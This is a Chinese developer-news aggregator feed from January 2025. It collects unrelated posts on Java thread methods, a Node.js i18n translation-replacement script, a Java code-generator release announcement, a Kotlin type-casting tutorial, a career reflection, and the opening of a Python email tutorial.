接下来,我们来回答一个看似简单但经常被忽视的问题:为什么 sleep() 和 yield() 都是静态方法?

静态方法和实例方法的区别大家都知道吧?静态方法不需要实例化对象,直接通过类名调用就能执行。那么,为什么这两个方法必须是静态的呢?

答案是:因为这些方法是和线程的调度机制相关的,而不是单一线程的行为。

  • Thread.sleep() 方法:它的目的是让当前执行的线程“睡觉”,无论你创建多少个 Thread 实例,sleep() 操作都应该是针对当前执行的线程本身。而线程本身还没有开始执行时,无法通过线程实例去调用 sleep(),因此它必须是静态方法。
  • Thread.yield() 方法:同样,yield() 是对线程调度器的一个“提示”,它并不依赖于某个线程实例的状态,而是影响所有正在运行的线程,因此它也是静态的。

这两个方法的作用都是针对线程调度机制本身,而不是某一个特定的线程,因此它们必须是静态的。

线程调度的影响因素

说到这里,你一定会想:“那到底什么时候该用 yield(),什么时候该用 sleep() 呢?”

这要看你的业务场景。

  • yield() 适用于希望“放弃”当前时间片,给同等优先级的线程更多机会执行的场景。它并不保证当前线程会立刻暂停,更多时候是“礼让”的一种做法。
  • sleep() 更适用于线程完全停止工作,等待某个条件发生(比如某个任务完成,或者等待资源)时使用。

总结

今天我们聊了很多关于 Thread 类中的静态方法 yield() 和 sleep() 的知识点,希望大家能从中获得一些有用的信息,帮助你们在面试中打破瓶颈,迎接挑战!

  • yield(): 线程主动让步,不保证暂停,取决于线程调度器的策略。
  • sleep(): 线程进入休眠状态,指定时间后再继续执行。
  • 静态方法: 因为它们涉及线程调度机制,而不仅仅是某个线程的行为。

END

这些问题虽然看似简单,但它们背后的原理和设计理念却不容忽视。希望今天的分享能帮你在面试中取得好成绩!如果有任何问题,随时来找我哦!

我是小米,一个喜欢分享技术的29岁程序员。如果你喜欢我的文章,欢迎关注我的微信公众号“软件求生”,获取更多技术干货!

by 软件求生 at January 25, 2025 06:11 AM

juejin frontend

⌨🖱CV大法好,i18n CV就不好了

某天正在疯狂CV中,CV着刚翻译好的多语言:左侧屏幕是代码,右侧屏幕是云文档。头从左转到右,又从右转到左,眼花手酸脖子酸,人都不好了😵。 006BkP2Hly1g0f10wq2q3g301m01pq2p.gif

同事瞅了一眼:卧槽,你咋还手动CV啊,写个脚本自动替换不香吗?

工作流程

  1. 写代码的时候,定义多语言的kye和value
  2. 复制到其他语言文件中
  3. 把需要翻译的文本,填到云文档的表格中
  4. 产品翻译
  5. 翻译好后,开始CV

手动的时候就是这么个流程,我们主要是把第5步通过脚本实现。

  1. 下载表格
  2. 读取表格,数据转成需要的格式
  3. 读取多语言文件夹下的文件
  4. 文本替换
  5. 重新写入

替换

读取表格

读取表格,使用的是xlsx,做过读取表格、导出表格的应该都使用过或听说过这个库,表格内容:

image.png

import fs from 'node:fs'
import path from 'node:path'
import { fileURLToPath } from 'node:url'
import XLSX from 'xlsx'

// 表头和文件名,根据实际情况定义
const langMap = {
  中文: 'zh',
  英文: 'en',
  葡萄牙语: 'pt',
  法语: 'fr',
  德语: 'de',
  西班牙语: 'es',
  荷兰语: 'nl',
  中文繁体: 'zh-TW',
  意大利语: 'it',
  日语: 'ja',
  俄语: 'ru',
  波兰语: 'pl',
}

const __filename = fileURLToPath(import.meta.url)
const __dirname = path.dirname(__filename)

// 翻译文档地址
const excelPath = path.resolve(__dirname, '翻译文档.xlsx')
const langData = sheetToJson(excelPath)
const zhLang = Object.keys(langData)

// 读取表格文件
function sheetToJson(filePath) {
  const workbook = XLSX.readFile(filePath)

  // 获取工作表名称
  const sheetName = workbook.SheetNames[0] // 获取第一个工作表的名称,通常有多个版本的多张表
  const worksheet = workbook.Sheets[sheetName] // 获取工作表

  // 将工作表转换为JSON格式
  const data = XLSX.utils.sheet_to_json(worksheet)

  return formatJson(data)
}

function formatJson(data) {
  let json = {}
  data.forEach(item => {
    let o = {}
    Object.entries(item).forEach(([key, value]) => {
      const lang = langMap[key]
      if (lang) {
        o[lang] = value
      }
    })
    
    json[item['中文']] = o
  })
  return json
}

得到的数据格式,是这个样子:

image.png

文本替换

项目中多语言文件,用的ts文件,如果是json文件,其实是一样的

image.png

//...
// 多语言文件目录(修改为你的)
const langDirectory = 'E:/project-demo/src/lang'
readJsonFilesInDirectory(langDirectory)

function readJsonFilesInDirectory(directoryPath) {
  fs.readdir(directoryPath, (err, files) => {
    if (err) {
      console.log('读取失败:', err)
      return
    }
    files.forEach(file => {
      const filePath = path.join(directoryPath, file)
      fs.stat(filePath, (err, stats) => {
        if (err) {
          console.log(`${file}检查失败:`, err)
          return
        }
        if (stats.isDirectory()) {
          readJsonFilesInDirectory(filePath) // 递归处理子目录
        } else if (['index.ts', 'zh.ts'].includes(file)) {
          fs.readFile(filePath, 'utf8', (err, data) => {
            if (err) {
              console.error(`${file}读取失败:`, err)
              return
            }
            
            // console.log(file) en.ts
            const targetLang = file.split('.')[0]
            try {
              zhLang.forEach((zh, i) => {
                 const text = langData[zh][targetLang]
                 if (text) {
                   // 项目中,string用的singleQuote
                   data = data.replaceAll(`'${zh}'`, `'${text.replace(/(['"])/g, '\\$1')}'`)
                 }
              })

              fs.writeFile(filePath, data, 'utf8', err => {
                if (err) {
                  console.error(`${file}写入失败:`, err)
                  return
                }
                console.log(`${file}完成翻译`)
              })
            } catch (error) {
              console.error('出了点问题:', error)
            }
          })
        }
      })
    })
  })
}

结果:

image.png

image.png
文本是完全匹配的,引号也没有问题

自动添加

如果我们只想在zh.ts文件中定义多语言,其他多语言文件自动添加上定义好的key、value,我们的表格中就要加上一列关于key的值:

image.png
我们把代码改下:

// 翻译文档地址
const excelPath = path.resolve(__dirname, '翻译文档.xlsx')
const langData = sheetToJson(excelPath)
- const zhLang = Object.keys(langData)
+ const keys = Object.keys(langData)
function formatJson(data) {
  let json = {}
  data.forEach(item => {
    let o = {}
    Object.entries(item).forEach(([key, value]) => {
      const lang = langMap[key]
      if (lang) {
        o[lang] = value
      }
    })
    
-   json[item['中文']] = o
+   json[item['KEY']] = o
  })
  return json
}
function readJsonFilesInDirectory(directoryPath) {
    // ...
    try {
-     zhLang.forEach((zh, i) => {
-       const text = langData[zh][targetLang]
-        if (text) {
-          // 项目中,string用的singleQuote
-          data = data.replaceAll(`'${zh}'`, `'${text.replace(/(['"])/g, '\\$1')}'`)
-        }
-     })

+     // 文件内容本身,是以 export defualt 开头的
+     // json文件的话,直接JSON.parse(data)就行了
+     const jsonObj = new Function('return ' + data.slice(15))()
+     keys.forEach(key => {
+       convertToNestedJSON(jsonObj, key, langData[key][targetLang])
+     })
+     data = 'export default ' + JSON.stringify(jsonObj, null, 2)

      fs.writeFile(filePath, data, 'utf8', err => {
        if (err) {
          console.error(`${file}写入失败:`, err)
          return
        }
        console.log(`${file}完成翻译`)
      })
    }
    // ...
}

+ function convertToNestedJSON(nestedObject = {}, keys, value) {
+   const keysArray = keys.split('.') // 将字符串分割为数组

+   let current = nestedObject
+   for (let i = 0; i < keysArray.length - 1; i++) {
+     if (!current[keysArray[i]]) current[keysArray[i]] = {} // 创建当前层级的键
+     current = current[keysArray[i]] // 进入下一层
+   }
+   current[keysArray[keysArray.length - 1]] = value // 设置最后一个键的值

+   return nestedObject
+ }

image.png
这样,我们只需要在表格中定义好就行了。

i8n Ally

这个vscode插件默认只识别jsonyaml文件,我们需要在配置中,添加下识别的文件类型

image.png 或者直接在setting.json文件中配置也可以:"i18n-ally.enabledParsers": ["json", "js", "ts"]

结束

by 忍者扔飞镖 at January 25, 2025 05:57 AM

oschina news project

Java 通用代码生成器光,电音之王尝鲜版十一,支持 JPA 技术栈二

Java 通用代码生成器光,电音之王尝鲜版十一,支持 JPA 技术栈二

Java 通用代码生成器光 2.4.0 电音之王 TechnoKing 版本尝鲜版十一。支持新的 JPA 技术栈,此技术栈支持 springboot3.4.0,JPA,POI 5.3.0,Shiro 1.13.0 等一系列新版本,同时仍然兼容原先的 boot3,sbmeu,smeu,msmeu 四个技术栈。现在本代码生成器一共支持五个技术栈。

Java 通用代码生成器光 2.4.0 电音之王 TechnoKing 版本尝鲜版十一的元数据和数据编辑器有更多修正和增强。本版本有更多缺陷修复,更多测试。已接近 Beta 质量。请部署在 Tomcat9 的 webapps 目录下。可以从源码建构。


在国内,最流行的 Java ORM 框架是 MyBatis,因为 MyBatis 的轻便和直接可以使用 SQL 等原因,而国际上,最流行的 Java ORM 是 JPA,主要是此框架功能强大,而且和 Hibernate 有亲缘关系。现在,Java 通用代码生成器光已经同时支持这两大框架。欢迎大家使用。


电音之王尝鲜版十一已发布两个介绍视频,详细演示了使用 JPA 技术栈生成和运行一个完整示例前后端的过程,视频请见:

https://www.bilibili.com/video/BV1TpfpYYEos/

https://www.bilibili.com/video/BV1qEfhYMEQf/
Java 通用代码生成器光,电音之王尝鲜版十一将强大的生产力赋能广大程序员。无论是新开发的软件还是通过遗留数据库反射以再次开发的遗留项目,您都可以使用动词算子式通用代码生成器的强大生产力大大加速研发速度。
项目地址:https://gitee.com/jerryshensjf/LightSBMEU
二进制发布版地址:https://gitee.com/jerryshensjf/LightSBMEU/attach_files

Java通用代码生成器光

动词算子式通用代码生成器阵列全面开源

动词算子式通用代码生成器阵列已全面开源。Java通用代码生成器光的两个Jar软件依赖如下,皆已全部开源:

曲速引擎前端代码生成器:https://gitee.com/jerryshensjf/WarpEngine

表反射引擎ReflectTable: https://gitee.com/jerryshensjf/ReflectTable

新技术栈

电音之王尝鲜版十一。支持新的技术栈jpa,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, JPA等一系列组件的新版本。

电音之王尝鲜版十。支持新的技术栈boot3,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, Mybatis 3.0.3等一系列新版本。

新版本发布

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十一。支持新的JPA技术栈,此技术栈支持springboot3.4.0,JPA,POI 5.3.0,Shiro 1.13.0等一系列新版本,同时仍然兼容原先的boot3,sbmeu,smeu,msmeu四个技术栈。元数据和数据编辑器有更多修正和增强。本版本有更多缺陷修复,更多测试。已接近Beta质量。可以从源码建构。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十。支持新的技术栈boot3,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, Mybatis 3.0.3等一系列新版本,同时仍然兼容原先的sbmeu,smeu,msmeu三个技术栈。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版九。界面美化,完善了数据库自动反射功能,完善了前端代码生成,完善了枚举和哑数据模式。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版八。完善支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版七基础上有多处缺陷修正和功能增强。 补充了一些缺失的功能。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版七。支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版六基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版六。支持枚举和哑数据模式。支持Nodejs 21,18和14。消除了95%的前端EsLint编译警告并隐藏全部。在尝鲜版五基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版五,已发布。 此版本在尝鲜版四基础上有错误修正。

电音之王支持日期与日期时间,支持修改自己的资料和密码。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版四,在尝鲜版三基础上有错误修正。

电音之王支持三大部分生成功能群,即高级定制功能群,部分生成功能群,和自动生成差异版本功能群,即支持上传同一项目的两个模板,自动生成差异版本,支持多次,全程使用代码生成器。可以从源码建构。支持Go语言和Rust语言兼容性。

电音之王也支持三大变形功能群,即动态椰子树功能群,动词否定功能群和字段否定功能群。非常强大,非常方便。

电音之王支持四种数据导出格式,即Excel,PDF,PPT和Word。

电音之王支持三种复杂版面,即父子表,树表和树父子表。

电音之王支持三种图形报表。并支持三种图表类型:折线图,柱状图和饼图。

版本与简介

本代码生成器最新版是Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十一。支持新的JPA技术栈,此技术栈支持springboot3.4.0,JPA,POI 5.3.0,Shiro 1.13.0等一系列新版本,同时仍然兼容原先的boot3,sbmeu,smeu,msmeu四个技术栈。元数据和数据编辑器有更多修正和增强。本版本有更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十。支持新的技术栈boot3,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, Mybatis 3.0.3等一系列新版本,同时仍然兼容原先的sbmeu,smeu,msmeu三个技术栈。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版九。界面美化,完善了数据库自动反射功能,完善了前端代码生成,完善了枚举和哑数据模式。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版八。完善支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版七基础上有多处缺陷修正和功能增强。 补充了一些缺失的功能。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版七。支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版六基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版六。支持枚举和哑数据模式。支持Nodejs 21,18和14。消除了95%的前端EsLint编译警告并隐藏全部。在尝鲜版五基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版五,在尝鲜版四基础上有错误修正。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版四,在尝鲜版三基础上有错误修正。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版三。在尝鲜版二基础上有增强和修正。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版二,在尝鲜版基础上有错误修正。

Java通用代码生成器光2.3.0文明版本Beta11版。可以从源码建构。是光2.3.0文明版本的最后一个版本。

Java通用代码生成器光2.3.0文明版本Beta10版。可以从源码建构。支持Go语言和Rust语言兼容性。重新格式化了所有的SGS2模板。

Beta8版修复了没有登录模块的项目的代码生成的缺陷。所有示例皆可以顺利生成代码生成物。

Beta7版彻底排查修复了前端权限系统,并更新了文档,已接近候选(RC)版质量。

Beta6版彻底检查和增强了弹性登录模块,并检查修复了Oracle代码生成物。

Beta5版全面增强了模版向导功能的界面操作,并全面检查修复了English语言版本。

Beta4是个修复与增强版本,修复了前端登录权限系统和复杂版面功能。

Beta版有文档更新,并支持可以设置的SQL脚本的表名和字段名的中文注释。

尝鲜版19在尝鲜版18基础上有功能改进。

尝鲜版18完善了前端复杂版面功能,至此,文明版本所有规划功能均已实现。

尝鲜版17修复了一些运行时错误。

尝鲜版15支持图形报表,使用了Echarts图形库。支持折线图,柱状图和饼图三种图形报表,支持原始数据和累加数据两种数据格式。

尝鲜版14是一个缺陷修复版本,修复了尝鲜版8以来的所有跨域和功能缺陷。

尝鲜版8版本最大特色是一键生成前端和后端,共享一套登录权限系统,session,token等信息不需要人工设置,默认生成,前端是基于Vue的,您可以使用此独立Vue前端管理系统。等前端项目生成完成复杂版面和报表功能后,即可进入Beta阶段。

尝鲜版6的Excel模板向导界面全面支持新功能。等前端界面完全支持新功能后即可进入Beta阶段。

光2.3.0文明尝鲜版5添加了PPT数据导出功能。

文明版本新增ShiroAuth弹性登录模块,使用Apache Shiro权限框架。新增三种复杂版面。包括父子表,树表和树父子表。新增三种报表。使用Echarts报表框架。包括报表,带数据网格的报表和计划与执行对比报表,带双数据网格。显著增强编译错与编译警告功能,增强更准确的错误信息和域对象簿记检查功能。请在本站附件处下载二进制发行版。

其中ShiroAuth模块。使用Apache Shiro权限框架。本弹性登录模块具有强大的变形能力。您可以指定User,Role,Privilege的具体对象。系统会严格校验,并生成相应的Shiro登录模块。完全无需人工编程。注意,Privilege对象的数据由系统生成,您无需配置。Role会自动增加admin和user两个Role。admin和user都自动关联所有权限。但是admin可以访问User,Role,Privilege三个对象,而user不行。系统会在User表中新增admin和jerry两个用户。其中amdin的角色是admin。jerry的角色是user。用户的密码您可以以明文设置。系统自动把密码转化为密文。若您未设置。amdin的密码为admin。而jerry的密码为jerry。

项目图片

Image description

新的大版本号

新的大版本号是光3.0.0 特菲提之心Tefiti's heart短名TFTH。将在数月中启动开发。

输入图片说明

现在大版本号是光2.4.0 电音之王TechnoKing 短名TK

输入图片说明

百度话题

#通用代码生成器#

介绍视频

电音之王尝鲜版十一,介绍视频请见

https://www.bilibili.com/video/BV1qEfhYMEQf/

电音之王尝鲜版十,介绍视频请见

https://www.bilibili.com/video/BV1MRqDYfEZV/

电音之王尝鲜版九,介绍视频请见

https://www.bilibili.com/video/BV1T6zrYNEMD/

https://www.bilibili.com/video/BV1gUBRYVEKu/

电音之王尝鲜版八,介绍视频请见

https://www.bilibili.com/video/BV1Q1WjeSEwW/

电音之王尝鲜版七,介绍视频请见

https://www.bilibili.com/video/BV1MLeTe1EmN/

电音之王尝鲜版六,介绍视频请见

https://www.bilibili.com/video/BV1Cf421Z7PF/

https://www.bilibili.com/video/BV1yD421j7UP/

2.4.0 电音之王尝鲜版五,介绍视频请见

https://www.bilibili.com/video/BV1Wh4y1r7Pa/

2.4.0 电音之王尝鲜版四,介绍视频请见

https://www.bilibili.com/video/BV1sx4y1X7XM/

2.4.0 电音之王尝鲜版三,介绍视频请见

https://www.bilibili.com/video/BV1394y1q744/

2.4.0 电音之王尝鲜版二,支持日期和日期时间,支持修改自己的资料和密码,支持三大部分生成功能群,支持上传同一项目两个版本的Excel模板生成差异版本,视频请见:

https://www.bilibili.com/video/BV1W8411Z7MK/

2.3.0 文明Beta10版,从源码构建,视频请见:

https://www.bilibili.com/video/BV1AY4y197dB/

三大变形功能群,即动态椰子树功能群,动词否定功能群和字段否定功能群,是动词算子式代码生成器的强大功能,使它可以适配多种代码规范和各种场景。现在 Java 通用代码生成器光 2.3.0 文明 Beta8 版,发布了三大变形功能群介绍视频上下集。请见:

上集:https://www.bilibili.com/video/BV1pg411n7Mg/

下集:https://www.bilibili.com/video/BV18D4y1879F/

Beta7版 B站介绍视频

https://www.bilibili.com/video/BV1gD4y147oK/

Beta6版 B站介绍视频

https://www.bilibili.com/video/BV1he4y1a7VT/

Beta4版 B站介绍视频

https://www.bilibili.com/video/BV1Jm4y1A7nW/

Beta2版 B站介绍视频

https://www.bilibili.com/video/BV1H44y1u75P/

Beta版 B站介绍视频

https://www.bilibili.com/video/BV1z34y1Y77Q/

B站技术直播间

https://live.bilibili.com/23023356

二进制发行版下载

https://gitee.com/jerryshensjf/LightSBMEU/attach_files

截图

生成界面截图

模板向导生成界面 

输入图片说明

上传生成界面 

输入图片说明

自动生成差异版本生成界面 输入图片说明

新功能截图:

前端复杂版面:树表

输入图片说明

图形报表:

柱状图:

输入图片说明

折线图:

输入图片说明

PPT数据导出功能 

输入图片说明

登录 

Image description

错误 

Image description

登录后 

Image description

新功能Excel模板页签 

Image description

新功能,复杂版面,树表

Image description

新功能,报表

Image description

独立前端页面截图

登录页

输入图片说明

内页

输入图片说明

源码编译用户指南

通用代码生成器已经支持自己编译源码,我已把原来缺的前端代码生成器的jar包上传。支持大家自行编译源码。

需要注意的是,现在我的开发平台是Fedora 37上的openjdk 17。所以大家编译源码最好使用openjdk17。编译好的war包运行在apache tomcat 9.0上。

已有jdk8的用户报告默认下载的代码生成器war包在他的平台上无法运行。您如果遇到类似问题请报告。我的电子邮件是:jerry_shen_sjf@qq.com

附openjdk 17下载地址:

https://jdk.java.net/java-se-ri/17

架构变化

从光2.3.0 文明尝鲜版2开始,光使用Maven管理jar依赖,方便您从源码构建代码生成器。同时开始支持Tomcat9。

使用前端功能的注意事项

由于图片文件比较大,原来前端使用cnpm instll安装类型,npm run dev运行有所改动,改为先使用npm install --registry=https://registry.npm.taobao.org安装类库,出错后使用cnpm install安装类库, 使用node --max-http-header-size=1000000 ./node_modules/.bin/webpack-dev-server --inline --progress --config build/webpack.dev.conf.js  运行系统。

您也可以从安传好的本系列代码生成器的前端项目中拷贝node_modules目录,即可运行前端。

by 来源: 投稿 at January 25, 2025 05:54 AM

juejin android

Kotlin 2.1.0 入门教程(九)

类型检查和转换

Kotlin 中,可以执行类型检查以在运行时检查对象的类型。类型转换能够将对象转换为不同的类型。

is!is 操作符

要执行运行时检查以确定对象是否符合给定类型,请使用 is 操作符或其否定形式 !is

if (obj is String) {
    print(obj.length)
}

// 等同于 !(obj is String)。
if (obj !is String) { 
    print("Not a String")
} else {
    print(obj.length)
}

智能转换

在大多数情况下,不需要使用显式转换操作符,因为编译器会自动转换对象。这称为智能转换。

编译器会跟踪不可变值的类型检查和显式转换,并在必要时自动插入隐式(安全)转换。

fun demo(x: Any) {
    if (x is String) {
        print(x.length) // x 自动转换为 String。
    }
}

编译器甚至足够聪明,知道如果否定检查导致返回,则转换是安全的。

if (x !is String) return

print(x.length) // x 自动转换为 String。

智能转换不仅适用于 if 条件表达式,还适用于 when 表达式和 while 循环。

when (x) {
    is Int -> print(x + 1)
    is String -> print(x.length + 1)
    is IntArray -> print(x.sum())
}

如果在 ifwhenwhile 条件中使用布尔类型的变量之前声明它,那么编译器收集的有关该变量的任何信息都可以在相应的块中用于智能转换。

当您希望将布尔条件提取到变量中时,这非常有用。然后,您可以为变量赋予一个有意义的名称,这将提高代码的可读性,并使得稍后在代码中重用该变量成为可能。例如:

class Cat {
    fun purr() {
        println("Purr purr")
    }
}

fun petAnimal(animal: Any) {
    val isCat = animal is Cat
    if (isCat) {
        // 编译器可以访问有关 isCat 的信息,因此它知道 animal 已被智能转换为 Cat 类型。
        // 因此,可以调用 purr 函数。
        animal.purr()
    }
}

fun main(){
    val kitty = Cat()
    petAnimal(kitty) // Purr purr
}

如果在逻辑与 && 或逻辑或 || 运算符的左侧有一个类型检查(正向或负向),编译器可以在右侧执行智能类型转换。

// 在 || 的右侧,x 自动被转换为 String 类型。
if (x !is String || x.length == 0) return

// 在 && 的右侧,x 自动被转换为 String 类型。
if (x is String && x.length > 0) {
    print(x.length)
}

如果你将对象的类型检查与逻辑或 || 运算符结合使用,智能类型转换会将它们转换为它们的最近公共超类型。

interface Status {
    fun signal() {}
}

interface Ok : Status
interface Postponed : Status
interface Declined : Status

fun signalCheck(signalStatus: Any) {
    if (signalStatus is Postponed || signalStatus is Declined) {
        // signalStatus 被智能转换为公共超类型 Status。
        signalStatus.signal()
    }
}

编译器可以对传递给内联函数的 Lambda 函数中捕获的变量进行智能转换。

内联函数被视为具有隐式的 callsInPlace 契约。这意味着传递给内联函数的任何 Lambda 函数都是在原地调用的。由于 Lambda 函数是原地调用的,编译器知道 Lambda 函数不会泄漏对其函数体内包含的任何变量的引用。

编译器利用这些知识以及其他分析来决定是否可以对捕获的变量进行智能转换。

interface Processor {
    fun process()
}

inline fun inlineAction(f: () -> Unit) = f()

fun nextProcessor(): Processor? = null

fun runProcessor(): Processor? {
    var processor: Processor? = null
    inlineAction {
        // 编译器知道 processor 是一个局部变量,且 inlineAction 是一个内联函数,
        // 因此对 processor 的引用不会泄漏,可以安全地对 processor 进行智能转换。

        // 如果 processor 不为 null,processor 会被智能转换。
        if (processor != null) {
            // 编译器知道 processor 不为 null,因此不需要安全调用。
            processor.process()
        }

        processor = nextProcessor()
    }

    return processor
}

智能转换信息会传递给 catchfinally 块。这使得您的代码更安全,因为编译器会跟踪您的对象是否具有可空类型。

fun testString() {
    var stringInput: String? = null

    // stringInput 被智能转换为 String 类型。
    stringInput = ""

    try {
        // 编译器知道 stringInput 不为 null。
        println(stringInput.length) // 0

        // 编译器拒绝之前的智能转换信息,
        // 现在 stringInput 恢复为 String? 类型。
        stringInput = null

        // 触发异常。
        if (2 > 1) throw Exception()

        stringInput = ""
    }
    catch (exception: Exception) {
        // 编译器知道 stringInput 可能为 null,因此 stringInput 保持可空类型。
        println(stringInput?.length) // null
    }
}

智能转换的前提条件

请注意,智能类型转换仅在编译器能够保证变量在检查和使用之间不会发生变化时才有效。

智能类型转换可以在以下条件下使用:

  • val 局部变量:

    • 始终有效,除了局部委托属性。
  • val 属性:

    • 如果属性是 privateinternal,或者检查是在声明属性的同一模块中执行的。

    • 智能转换不能用于 open 属性或具有自定义 getter 的属性。

  • var 局部变量:

    • 如果变量在检查和使用之间未被修改,未被捕获在修改它的 Lambda 中,并且不是局部委托属性。
  • var 属性:

    • 永远不能使用,因为变量可能随时被其他代码修改。

不安全的转换操作符

要将对象显式转换为非空类型,请使用不安全的转换操作符 as

val x: String = y as String

如果转换不可能,编译器会抛出异常。这就是为什么它被称为不安全的原因。

在前面的示例中,如果 ynull,上面的代码会抛出异常。这是因为 null 不能转换为 String,因为 String 不是可空类型。为了使示例适用于可能的空值,请在转换的右侧使用可空类型:

val x: String? = y as String?

安全(可空)转换操作符

为了避免异常,请使用安全转换操作符 as?,它在失败时返回 null

val x: String? = y as? String

请注意,尽管 as? 的右侧是非空类型 String,但转换的结果是可空的。

as? 是一种安全的类型转换方式,即使转换失败也不会抛出异常,而是返回 null

by xvch at January 25, 2025 05:47 AM

juejin career

年终 :别自我内耗了 ,每年奖励自己一点新东西

前言

前两天看到一个评论 ,答主说 : 代码写了几年 ,已经没有刚毕业时候的热情了,不想深入,没有欲望。

这其实是一个很普遍的现象 : 当一件事情成了工作 ,那必然有麻木的一天

关于自我内耗

写代码 和工作挂钩了 ,那他就会离生活越来越远。 我们去做这件事情的时候,就会自然的和 收入 ,未来 等要素进行强绑定。

  • 工作压力大了 ,兴趣度 - 1
  • 每加一次班 ,兴趣度 - 1
  • 每和产品打一架 , 兴趣度 -1
  • 不涨工资不升职 , 兴趣度 -1
  • 。。。。。

每一次工作上的不如意 ,都会让你对编码的兴趣降低!!

久而久之 ,你可能会想 : 你是不是不喜欢编码 ,你可能根本不喜欢写代码 , 你不想再为这个你不喜欢的兴趣花精力了。

而这篇文章的目的 ,就是为了给大家一个方向 : 如何维持自己的兴趣 ,找回初心

关于我的一年

发布的文章 - Java 部分 :

今年和往年大差不差 ,发布了 40+ 篇文章。其中 Java 只针对一些特定领域进行了加强 :

image.png

加上一些零零散散的 JVM 文章 ,总共应该15篇左右。 但是这些其实已经够了 ,到了5-10年这个年限 , 单纯编码技术上已经没有太大的空间了。

年轻的时候硬吃底层 ,是为了提高自己的代码水平。年限大了就会发现 ,底层代码其实都差不多 ,哪怕看过了流程 ,转头就忘 ,就算不忘 ,大多数地方一辈子也用不上。

📍 总结 : 所以我现在对自己的规划是针对于特定场景, 进行深度的思考 ,更偏向与架构层面

寻求突破 - 其他部分 :

其他的大部分精力 ,都没有局限当前的语言上面 , 一直在研究新的东西。

image.png

image.png

image.png

@ gitee.com/antblack/an…

重要的精力都放在了 Python 和 大数据 , AI 层面。 他们针对的目的性都是不同的。

  • ❤️ Python 的目的是为了开辟自己的副业
  • ❤️ 大数据是当前行业的升级 ,大数据能让我在当前领域尝试更多的创新模式
  • ❤️ AI 是未来 ,记住 , 人工智能是未来

这3个方向都没有把自己局限在编码层面了 ,而这3个模块都有可能让我在脱离工作后 ,也能拥有更多的出路, 不管是创业还是寻求更好的工作,他们都能有所帮助。

📍 总结 : 所以没必要把自己限制在一行行代码之间,CURD 已经在工作中写的够多了,去看看一些关联的领域。

给自己一点奖励吧

写代码 6-7 年了 , 我对编程还是一如初心, 其实只是对自己经常进行一些小奖励 , 这里我也许可以给苦恼的朋友们一些小方向 :

每年奖励自己一门新语言 :

这些年来 ,我陆陆续续尝试了 JavaScript , Android , Lua (这个不算大, 算是偷懒了) , 到今年用 Python 写了一个开源工具。

我每年都会让自己去了解一下其他的语言, 他们都不会学的太深 ,主要的定位是能用他们产生一个生产力的应用。

比如 JavaScript 主要用来写了一个小程序 (最后不好玩都没上架)。 Lua 是为了自己实现一个 Nginx 的工具。

Android 是为了实现一个简单的 App , Python 是为了能炒股。

👉 奇奇怪怪的想法和思路 ,以及实现后的一点点成就感 ,是维持兴趣的一大核心。

每年奖励一些新东西 :

年初 AIGC 大火的时候 ,就一直在尝试 AIGC 转换成生产力,最简单的实现就是帮我老婆实现了一个 SD 的文生图服务器 ,不过后面太贵了就下了(真老贵)。

然后又陆陆续续的尝试各种 AIGC 的直接使用 ,当你切实的做出一点什么后 ,成就感老多了。

AIGC : 真的要失业了 , 让 ControlNet 带来一点小震撼

然后这一年都在让 AI 帮我提高生产力 ,可以说非常成功。 比如我的 Python 项目 ,其中80% 的代码都是 AI 实现的, 这让我最后落地的压力大大减轻,成功率提高了很多。

👉 新的东西 ,总能让我感觉到我还很年轻 ,未来还有无限可能。

时不时的让自己彻底放松一次 :

不要去思考工作 ,不要去思考未来 ,就彻彻底底的为了去玩。

一开始是黑神话大火 ,那是真的下班准时走 ,技术是一天不带看的 ,就是为了玩, 连续玩了大半个月 ,通关后整个人都舒服了,谁也别想让我学。

然后后面又给自己奖励了一台小相机 ,那每周拖着家人出去拍照 ,学 ? 学个屁学,那不拿个摄影奖 ,学什么学。

👉 玩的不多 ,每年也就2-3次 ,但是真的能让人压力降低很多。

总结

2024 已经过去了 ,2025 也将到来 ,计划年初就已经定完了 , 又是充满期待的一年。

希望各位都能在生活中找到自己的节奏 ,不要有了工作失去生活。

祝大家新年快乐。

最后的最后 ❤️❤️❤️👇👇👇

by 志字辈小蚂蚁 at January 25, 2025 05:12 AM

juejin backend

Python邮件处理

Python邮件处理

1. 简介

Python 提供了丰富的库和工具来处理电子邮件,从发送简单的文本邮件到解析复杂的多媒体邮件,都可以轻松实现。本文将介绍如何使用 Python 发送和接收邮件,以及处理邮件的常见任务。


2. 发送邮件

2.1 使用 smtplib 发送邮件

Python 的 smtplib 模块用于连接 SMTP(Simple Mail Transfer Protocol)服务器并发送邮件。

